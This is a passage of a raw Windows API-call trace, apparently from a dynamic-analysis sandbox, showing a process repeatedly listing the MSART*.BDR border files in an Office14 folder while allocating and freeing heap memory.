0xab50c8 [0078.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab82c0 [0078.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.228] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xe584, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART12.BDR", cAlternateFileName="")) returned 1 [0078.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab50e8 [0078.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8348 [0078.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xabf2b8 [0078.229] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb090) returned 1 [0078.229] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.229] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x6ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART13.BDR", cAlternateFileName="")) returned 1 [0078.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.229] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.229] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5108 [0078.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab83d0 [0078.229] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.230] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xc8bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART14.BDR", cAlternateFileName="")) returned 1 [0078.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5128 [0078.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8458 [0078.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.230] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x6b14, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART15.BDR", cAlternateFileName="")) returned 1 [0078.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5148 [0078.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab84e0 [0078.231] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.231] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xb854, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART2.BDR", cAlternateFileName="")) returned 1 [0078.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.231] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.231] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5168 [0078.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8568 [0078.231] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.231] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xe12e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART3.BDR", cAlternateFileName="")) returned 1 [0078.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.232] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.232] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.232] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5188 [0078.232] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab85f0 [0078.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.232] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x3902, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART4.BDR", cAlternateFileName="")) returned 1 [0078.232] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.232] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.232] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.232] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab51a8 [0078.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8678 [0078.233] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.233] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x3dac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART5.BDR", cAlternateFileName="")) returned 1 [0078.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.233] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.233] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab51c8 [0078.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8700 [0078.233] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.233] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xd7b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART6.BDR", cAlternateFileName="")) returned 1 [0078.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.234] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.234] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab51e8 [0078.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8788 [0078.234] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.234] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART7.BDR", cAlternateFileName="")) returned 1 [0078.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.234] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.234] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5208 [0078.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8810 [0078.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.235] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xbfca, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART8.BDR", cAlternateFileName="")) returned 1 [0078.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5228 [0078.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8898 [0078.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.235] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xc696, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART9.BDR", cAlternateFileName="")) returned 1 [0078.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.236] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5248 [0078.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8920 [0078.236] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.236] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xc696, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART9.BDR", cAlternateFileName="")) returned 0 [0078.236] GetLastError () returned 0x12 [0078.236] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0078.236] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.236] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.236] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x7df6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART1.BDR", cAlternateFileName="")) returned 1 [0078.236] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x244c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART10.BDR", cAlternateFileName="")) returned 1 [0078.236] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x78c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART11.BDR", cAlternateFileName="")) returned 1 [0078.236] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xe584, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART12.BDR", cAlternateFileName="")) returned 1 [0078.236] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x6ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART13.BDR", cAlternateFileName="")) returned 1 [0078.236] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xc8bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART14.BDR", cAlternateFileName="")) returned 1 [0078.236] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x6b14, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART15.BDR", cAlternateFileName="")) returned 1 [0078.236] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xb854, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART2.BDR", cAlternateFileName="")) returned 1 [0078.237] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xe12e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART3.BDR", cAlternateFileName="")) returned 1 [0078.237] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x3902, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART4.BDR", cAlternateFileName="")) returned 1 [0078.237] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x3dac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART5.BDR", cAlternateFileName="")) returned 1 [0078.237] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xd7b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART6.BDR", cAlternateFileName="")) returned 1 [0078.237] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART7.BDR", cAlternateFileName="")) returned 1 [0078.237] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xbfca, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART8.BDR", cAlternateFileName="")) returned 1 [0078.237] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xc696, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART9.BDR", cAlternateFileName="")) returned 1 [0078.237] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xc696, dwReserved0=0x0, dwReserved1=0x0, 